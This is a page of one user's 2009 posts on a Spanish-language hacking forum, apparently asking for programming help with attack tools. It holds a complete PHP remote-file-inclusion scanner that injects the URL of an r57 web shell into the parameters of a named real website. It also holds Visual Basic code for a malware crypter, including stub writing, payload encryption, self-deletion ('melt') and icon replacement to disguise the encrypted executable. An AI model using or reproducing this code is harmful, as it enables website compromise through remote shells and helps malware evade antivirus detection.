elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7 8 9
31  Programación / PHP / Problemas con interpretación de php en appserv. en: 18 Marzo 2009, 14:58 pm
Hola, que tal, a ver si me pudieran echar una mano, se los agradeceria mucho. Verán. Estoy probando a montar un escaner rfi para investigar sobre esto en mi host. El host tiene montado el appserv 2.5.9, aunque también probé con otras versiones. El codigo de php lo cogí de una web, anda bien, ya que lo he probado en otros host y funciona perfecto, pero en el mio me salen errores... creo que debe de ser por la versión del php (si me reconoce otras web en php con codes más simples, depende de las funciones creo). El caso es que en otro host con la misma versión de appserv si que anda pero en la mia no  :-\.

El code es este por si lo quieren probar:

Código
  1. <html>
  2. <bogy>
  3.  
  4.  <?
  5. /*
  6. RFI Scanner 1.0
  7. Author: elefrEn
  8. Website: http://elefren.com/
  9. email: efnworkz@hotmail.com
  10.  
  11. Dedicated to Spanish Hackers Team - http://spanish-hackers.com/
  12. Gr33tz: -> JosS | nhh-32 | Omega <-
  13. */
  14.  
  16.  
  17. #Config
  18. $urlweb = "http://www.aeev.net";# Out http://, ex: google.com
  19. $urlshell = "http://xxxxxxxxxxx/shell/r57.txt";# Url where you sent the shell script
  20. $comunvars = "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
  21. $filetoscan = "index.php";# The file that you want scan
  22.  
  23. #Funcs
  24. function vars($url){
  25. 	$xpl = parse_url($url);$xpl = $xpl[query];$xpl = explode("&",$xpl);
  26. 	$var = 0;
  27. 	while($var < count($xpl)){
  28. 		$v4r = explode("=",$xpl[$var]);
  29. 		$m0s .= '|'.$v4r[0];
  30. 		$var++;
  31. 	}
  32. 	$m0s = str_replace('amp;','',$m0s);
  33. 	return $m0s;
  34. }
  35. function beerres($list, $barras = FALSE){
  36. 	$s3p4 = '<br>';
  37. 	if($barras) $s3p4 = '|';
  38. 	$list = explode('|',$list);
  39. 	$var = 0;
  40. 	while($var < count($list)){
  41. 		if($list[$var] != ''){
  42. 			if(!@preg_match("/$list[$var]/i",$m0s) ){
  43. 				$m0s .= $list[$var].$s3p4;
  44. 			}
  45. 		}
  46. 		$var++;
  47. 	}
  48. 	return $m0s;
  49. }
  50. function extrac($n00b, $file = FALSE){
  51. 	$n0ob = 'http://'.$n00b;
  52. 	$source = join("",file(&$n0ob));
  53. 	$vars = preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
  54. 	$t0t = count($results[1]);
  55. 	$var = 0;
  56. 	while($var < $t0t){
  57. 		$xtr = explode('"',$results[1][$var]);
  58. 		$urllist .= $xtr[0].'|';
  59. 		$varlist .= vars($xtr[0]);
  60. 		$var++;
  61. 	}
  62. 	$m0s .= $varlist;
  63. 	return beerres($m0s,1);
  64. }
  65. function rfi($vars,$web,$file,$urlshell){
  66. 	$list = explode('|',$vars);
  67. 	$var = 0;
  68. 	while($var < count($list)){
  69. 		$url = $web.$file."?".$list[$var]."=".$urlshell."?";
  70. 		$source = join("",file(&$url));
  71. 		if(preg_match("/shell/i",$source)){
  72. 			$m0s .= "<font color=red><b>RFI-></b></font> ";
  73. 		}else{
  74. 			$m0s .= "<font color=green><b>Secure-></b></font> ";
  75. 		}
  76. 		$m0s .= $url.'<br>';
  77. 		$var++;
  78. 	}
  79. 	return $m0s;
  80. }
  81.  
  82. #Exec
  83. echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
  84. ?>
  85. </body>
  86.  
  87.  

Los errores son estos:

Código
  1. Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52
  2.  
  3. Warning: file(http://http://www.aeev.net) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 52
  4.  
  5. Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52
  6.  
  7. Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  8.  
  9. Warning: file(http://http://www.aeev.net/index.php?cual=http://xxxxxxxxxxxxxxx/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  10.  
  11. Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  12.  
  13. Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  14.  
  15. Warning: file(http://http://www.aeev.net/index.php?admindir=http://xxxxxxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  16.  
  17. Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  18.  
  19. Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  20.  
  21. Warning: file(http://http://www.aeev.net/index.php?sec=http://xxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
  22.  
  23. Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Laa linea 52 contiene esto: function extrac($n00b, $file = FALSE){
Y la 70: $var = 0;

Así unas cuantas de veces asta llegar al final de la web donde ya me sale lo que debería de salir, aunque dan mal el resultado... por los errores supongo.

Espero su ayuda, gracias de antemano.

Saludos
32  Programación / Programación Visual Basic / Re: Ayuda con melt o timer para archivo que creo. en: 4 Marzo 2009, 11:15 am
Cita de: cobein en  4 Marzo 2009, 04:00 am
Si estas haciendo un crypter en scan time vas a tener que esperar que termine el proceso.

Si, esa parte la tengo puesta ultima en el boton de encryptar.
33  Programación / Programación Visual Basic / Re: Ayuda con melt o timer para archivo que creo. en: 4 Marzo 2009, 01:00 am
Cita de: Dessa en  3 Marzo 2009, 22:39 pm
Hola tal vez así ???

 If Check2.Value = 1 Then
    Timer1.Enabled = True
    Timer1.Interval = 10000
 End If

Private Sub Form_Load()
  Timer1.Enabled =False
End Sub

Private Sub Timer1_Timer()
  Kill Stubpath
End Sub


Hola gracias por tu interes. Verás esto lo intente anoche y lo que ocurre es lo siguiente. Stubpath (el archivo nuevo que se crea) funciona con un Dim stubpath en el cmd de encryptar  "junto a otros Dim".
Por lo que si pongo
Código
  1. Private Sub Timer1_Timer()
  2.   Kill Stubpath
  3. End Sub

Cuando cifro y pasan 10 segundos me da un error en Kill Stubpath, Error 13 en tiempo de ejecución.

Si pongo esto:
Código
  1. Private Sub Timer1_Timer()
  2. dim stubpath
  3.   Kill Stubpath
  4. End Sub

Me sale un error 53 en tiempo de ejecución.

Se que ya estoy cerca jeje

Gracias, Saludos.
34  Programación / Programación Visual Basic / Re: Ayuda con melt o timer para archivo que creo. en: 3 Marzo 2009, 22:33 pm
En el primero en el que solo aparece

kill stubpath no aplico el timer es solo para ver que anda.

El code correcto es el segundo:

Código
  1.  If Check2.Value = 1 Then
  2.  Kill Stubpath = Timer1
  3.     End If

Gracias por la ayuda. Si necesitan mas code o lo que sea diganlo xD

Saludos
35  Programación / Programación Visual Basic / Re: Ayuda con melt o timer para archivo que creo. en: 3 Marzo 2009, 21:50 pm
Cita de: Dessa en  3 Marzo 2009, 21:40 pm
Cita de: Yeshua en  3 Marzo 2009, 14:56 pm

Esto si me funciona pero lo elimina al momento, y lo que me gustaria hace es por ejemplo que me lo eliminara al paso de 10 segundos, por lo que creo un timer con interval de 1000


Hola, interval 1000 es solo un segundo

saludos

Ya ya, pero de todas formas no anda....
36  Programación / Programación Visual Basic / Ayuda con melt o timer para archivo que creo. en: 3 Marzo 2009, 14:56 pm
Hola, aun sigo con mi proyecto (un crypter) pero me he vuelto a atrancar, ahora le quiero poner una opción de melt, para que elimine el cifrado en su ejecución o al pasar un tiempo.
Para ello e usado un modulo que vi por aquí y e echo esta yamada en el form

Código
  1. If Check2.Value = 1 Then
  2.  Call meltfile (Stubpath)
  3.     End If

Pero lo que pasa es que con esto lo que hace es melt del programa y no del archivo que crea  :(

Tambien he probado con

Código
  1.  If Check2.Value = 1 Then
  2. kill stubpath
  3. end if

Esto si me funciona pero lo elimina al momento, y lo que me gustaria hace es por ejemplo que me lo eliminara al paso de 10 segundos, por lo que creo un timer con interval de 1000
y meto este codigo:

Código
  1.  If Check2.Value = 1 Then
  2.  Kill Stubpath = Timer1
  3.     End If

Pero entonces me lo elimina igual, ni me aparece XD.


Gracias espero su ayuda.

Saludos.
37  Programación / PHP / Re: Cual es el motivo de la caida del apache? en: 24 Febrero 2009, 15:46 pm
wifi?? users que se conectan?? maquina??

jeje, cuenta un poco a ver qe pasa.

Saludos
38  Programación / Programación Visual Basic / Re: Ayuda con cambio de Icono en Cripter en: 23 Febrero 2009, 21:44 pm
Hola respecto a la respuesta de el_c0c0 he de decir que ya lo hice, y si hago esto entonces me ecrypta de todas las maneras, esté o no marcada la opción de cambiar el ico. Pero lo que ocurre es que no cambia :(

aaronduran2 gracias por la respuesta, pero no creo qe sea del modulo ya que el mio me lo pasaron y anda bien, es este:

Código
  1. Option Explicit
  2. Type DIB_HEADER
  3.    Size        As Long
  4.    Width       As Long
  5.    Height      As Long
  6.    Planes      As Integer
  7.    Bitcount    As Integer
  8.    Reserved    As Long
  9.    ImageSize   As Long
  10. End Type
  11.  
  12. Type ICON_DIR_ENTRY
  13.    bWidth            As Byte
  14.    bHeight           As Byte
  15.    bColorCount       As Byte
  16.    bReserved         As Byte
  17.    wPlanes           As Integer
  18.    wBitCount         As Integer
  19.    dwBytesInRes      As Long
  20.    dwImageOffset     As Long
  21. End Type
  22.  
  23. Type ICON_DIR
  24.    Reserved          As Integer
  25.    Type              As Integer
  26.    Count             As Integer
  27. End Type
  28.  
  29. Type DIB_BITS
  30.    Bits()            As Byte
  31. End Type
  32.  
  33. Public Enum Errors
  34.    FILE_CREATE_FAILED = 1000
  35.    FILE_READ_FAILED
  36.    INVALID_PE_SIGNATURE
  37.    INVALID_ICO
  38.    NO_RESOURCE_TREE
  39.    NO_ICON_BRANCH
  40.    CANT_HACK_HEADERS
  41. End Enum
  42. Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long
  43.  
  44.    Dim IcoDir As ICON_DIR
  45.    Dim IcoDirEntry As ICON_DIR_ENTRY
  46.    Dim tBits As DIB_BITS
  47.    Dim Icons() As IconDescriptor
  48.    Dim lngRet As Long
  49.    Dim BytesRead As Long
  50.    Dim hSource As Long
  51.    Dim hDest As Long
  52.    Dim ResTree As Long
  53.  
  54.    hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
  55.    If hSource >= 0 Then
  56.       If Valid_ICO(hSource) Then
  57.          SetFilePointer hSource, 0, 0, 0
  58.          ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
  59.          ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
  60.          SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
  61.          ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
  62.          ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
  63.          CloseHandle hSource
  64.          hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0)
  65.          If hDest >= 0 Then
  66.             If Valid_PE(hDest) Then
  67.                ResTree = GetResTreeOffset(hDest)
  68.                If ResTree > 308 Then   ' Sanity check
  69.                   lngRet = GetIconOffsets(hDest, ResTree, Icons)
  70.                   SetFilePointer hDest, Icons(1).offset, 0, 0
  71.                   WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
  72.                   If Not HackDirectories(hDest, ResTree, Icons(1).offset, IcoDirEntry) Then
  73.                      eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable.  File may not contain any icon resources."
  74.                   End If
  75.                Else
  76.                   eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree.  File may be corrupt."
  77.                   CloseHandle hDest
  78.                End If
  79.             Else
  80.                eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable."
  81.                CloseHandle hDest
  82.             End If
  83.          CloseHandle hDest
  84.          Else
  85.             eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program."
  86.          End If
  87.       Else
  88.          eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file."
  89.          CloseHandle hSource
  90.       End If
  91.    Else
  92.       eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program."
  93.    End If
  94.    ReplaceIcons = 0
  95.    Exit Function
  96. ErrHandler:
  97.    ReplaceIcons = eRR.Number
  98.    Error = eRR.Description
  99. End Function
  100. Public Function Valid_ICO(hFile As Long) As Boolean
  101.    Dim tDir          As ICON_DIR
  102.    Dim BytesRead     As Long
  103.    If (hFile > 0) Then
  104.       ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0&
  105.       If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
  106.          Valid_ICO = True
  107.       Else
  108.          Valid_ICO = False
  109.       End If
  110.    Else
  111.       Valid_ICO = False
  112.    End If
  113. End Function
  114.  
  115.  


También tengo otro modulo de PechanceIcon.

editado: Ya solucione el problema, era tan simple como en vez de usa button usar un check.

Espero que me sigan ayudando. Gracias.
39  Programación / Programación Visual Basic / Re: Ayuda con cambio de Icono en Cripter en: 23 Febrero 2009, 20:57 pm
Cita de: el_c0c0 en 23 Febrero 2009, 18:20 pm
a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes


edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo

saludos

Pues si te digo la verdad esta asi xq lo pase a un colega y me lo dejo así, cosa que yo tampoco comprendí pero bueno, confié que debería de ser así  xD. Pruebo lo que me decis a ver si de una vez puedo continuar, Gracias a los 2. Ya os contaré.
40  Programación / Programación Visual Basic / Ayuda con cambio de Icono en Cripter en: 23 Febrero 2009, 14:10 pm
Hola estoy modificando el soucer de un crypter, le quiero añadir la opción de que me cambie el icono del archivo cifrado. Me he quedado ahí que no avanzo ya que si no marco la opción de cifrar el cripter funciona a la parfección, pero si no lo marco el cmd de cifrar se queda sin funcionar, no anda hasta que lo desmarque... El programa no me da errores, los modulos creo que estan bien, al igual que los eventos... este es el codigo del cmd para cifrar

Código
  1. Private Sub chameleonButton3_Click()
  2. On Error GoTo ende
  3.     Dim Buffer() As Byte
  4.     Dim ResBuffer() As Byte
  5.     Dim EofData As String
  6.     Dim Buffer2 As String
  7.     Dim Stubpath As String
  8.  
  9.          Dim eRR As String
  10.  
  11.         If Text1.Text = "" Then
  12.         MsgBox "Selecciona el fichero a cifrar"
  13.      chameleonButton1 = True
  14.   End If
  15.  
  16.     With CommonDialog1
  17.         .CancelError = True
  18.         .DialogTitle = "Select where to save the crypted file.."
  19.         .DefaultExt = ".exe"
  20.         .Filter = "Executables|*.exe"
  21.         .FileName = "Crypted232.exe"
  22.  
  23.         If Op1.Value = True Then
  24.  ReplaceIcons CommonDialog1.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR
  25. End If
  26.     End With
  27.  
  28.  
  29.  
  30.     CommonDialog1.ShowSave
  31.     Stubpath = CommonDialog1.FileName
  32.  
  33.     ResBuffer() = LoadResData(101, "STUB")
  34.     Open Stubpath For Binary As #2
  35.     Put #2, , ResBuffer()
  36.     Close #2
  37.  
  38.     Text3.Text = Text3.Text & "File read.." & vbCrLf
  39.     Text3.Text = Text3.Text & "Crypting.." & vbCrLf
  40.  
  41.     EncodeArrayB LoadFile(Text1.Text), Text2.Text
  42.     Buffer() = encoded()
  43.  
  44.     Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
  45.     EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
  46.  
  47.  
  48.  
  49.  
  50.     Open Stubpath For Binary As #1
  51.     Put #1, LOF(1) + 1, "<F1l3>"
  52.     Put #1, LOF(1) + 1, Buffer()
  53.     Put #1, LOF(1) + 1, "<F1l3>"
  54.     Put #1, LOF(1) + 1, Text2.Text
  55.     Put #1, LOF(1) + 1, "<F1l3>"
  56.     Put #1, LOF(1) + 1, EofData
  57.     Close #1
  58.  
  59.  
  60.  
  61.     'PatchEOF Stubpath 'removed cause it crashes the eof data
  62.  
  63.     Open Stubpath For Binary As #1
  64.     Put #1, LOF(1) + 1, EofData
  65.     Close #1
  66.  
  67.  
  68.     Call ReplaceIcons(CommonDialog1.FileName, Stubpath, eRR)
  69.  
  70.  
  71.  
  72.  
  73.     Text3.Text = Text3.Text & "Successfull!" & vbCrLf
  74.     MsgBox "The file has been successfully crypted", 64, "Lilith"
  75. ende:
  76. End Sub


Si alguien me puede ayudar se lo agradezco mucho, le podria pasar el source completo por si así no lo ve claro.

Gracias de antemano, un saludo.
Páginas: 1 2 3 [4] 5 6 7 8 9
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines